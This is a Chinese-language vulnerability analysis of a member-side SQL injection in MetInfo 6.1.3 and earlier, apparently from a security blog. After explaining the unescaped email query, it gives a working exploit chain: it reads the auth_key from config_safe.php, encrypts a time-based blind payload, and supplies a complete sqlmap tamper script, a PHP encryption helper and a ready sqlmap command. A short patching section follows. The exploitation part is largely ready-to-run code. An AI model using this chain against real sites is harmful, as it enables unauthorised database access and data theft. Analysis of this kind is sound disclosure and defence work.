某info<=6.1.3前台SQL注入
字数 1459 2025-08-29 08:32:09
MetInfo <=6.1.3 前台SQL注入漏洞分析与利用
0x00 漏洞概述
MetInfo企业网站管理系统在6.1.3及以下版本存在一个前台SQL注入漏洞,攻击者需要具备会员权限才能利用此漏洞。该漏洞存在于/member/basic.php文件中,通过精心构造的请求参数可导致SQL注入攻击。
0x01 漏洞影响
- 影响版本:MetInfo <=6.1.3
- 影响环境:PHP-TS(线程安全)版本
- 利用条件:需要会员权限
0x02 漏洞分析
漏洞定位
漏洞主要存在于以下文件:
/member/basic.php/app/system/user/web/profile.class.php/app/system/include/class/auth.class.php
关键代码分析
-
入口点:
/member/basic.php文件中的dosafety_emailadd方法 -
调用链:
dosafety_emailadd方法调用auth类的decode方法decode方法处理用户输入- 最终调用
get_user_by_emailid方法执行SQL查询
-
关键漏洞点:
- 在
/app/system/include/class/auth.class.php文件的get_user_by_emailid方法中,直接将用户输入的$email参数拼接到了SQL语句中,没有进行任何过滤或转义:
public static function get_user_by_emailid($emailid){ $sql = "SELECT * FROM {$_M['table']['user']} WHERE email = '{$emailid}'"; return DB::get_one($sql); } - 在
0x03 漏洞利用
利用条件
- 获取
auth_key:需要从/config/config_safe.php文件中获取加密密钥 - 需要会员权限(有效的会员cookie)
- 服务器必须运行在PHP-TS(线程安全)版本
利用步骤
-
获取加密密钥:
- 访问
http://target.com/config/config_safe.php - 查看源代码获取被注释的
auth_key值
- 访问
-
构造恶意payload:
- 使用获取的
auth_key对恶意SQL语句进行加密 - 示例payload:
a.com' or username='test' and if(length(user())>=10,sleep(5),0)#
- 使用获取的
-
发送恶意请求:
- 构造URL:
http://target.com/member/basic.php?a=dosafety_emailadd&p=[加密后的payload] - 携带有效的会员cookie
- 构造URL:
-
利用延时注入:
- 由于页面只返回true或false,需要使用延时盲注技术
- 通过观察响应时间判断注入是否成功
自动化利用
可以使用以下工具自动化利用该漏洞:
-
SQLMap Tamper脚本:
#!/usr/bin/env python """ Metinfo V6.1.3 """ from lib.core.enums import PRIORITY from sys import argv import urllib2 __priority__ = PRIORITY.LOWEST api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2" key_name = "/config/config_safe.php" def dependencies(): pass def tamper(payload, **kwargs): global api_url url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","") send_key(url) res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload))) if res["code"] == 200: return res["text"] def send_key(url): global api_url,key_name res = request(url+key_name) if(res["code"] == 200): if(len(res["text"])>0): api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>","").strip()) else: print "[-] URL can not be used. " exit() def request(url): request = urllib2.Request(url) request.add_header('Content-Type', 'application/x-www-form-urlencoded') response = urllib2.urlopen(request) return {"code":response.getcode(),"text":response.read()} -
API接口脚本(用于加密payload):
<?php class auth { public $auth_key; public function __construct($key) { $this->auth_key = $key; } // 其他方法... } if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"])) { $auth = new auth($_REQUEST["key"]); } else { exit("[-] Please input key."); } if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"])) { exit($auth->encode(urldecode($_REQUEST["encodestr"]))); } else { exit("[-] Please enter encrypted string."); } -
SQLMap命令:
sqlmap -u "http://target.com/member/basic.php?a=dosafety_emailadd&p=*" --cookie "会员cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"
0x04 漏洞修复
-
官方修复:
- 升级到最新版本
- 使用MetInfo提供的安全函数如
inject_check或daddslashes对用户输入进行过滤
-
临时修复:
- 修改
get_user_by_emailid方法,使用参数化查询 - 对用户输入进行严格的过滤和转义
- 修改
0x05 注意事项
- 该漏洞只能在PHP-TS(线程安全)版本中利用
- 需要有效的会员权限才能利用
- 加密密钥
auth_key必须正确才能成功构造payload - 由于是盲注漏洞,利用效率较低,建议使用自动化工具
0x06 参考
- 原始漏洞分析文章:先知社区
- MetInfo官方网站:http://www.metinfo.cn/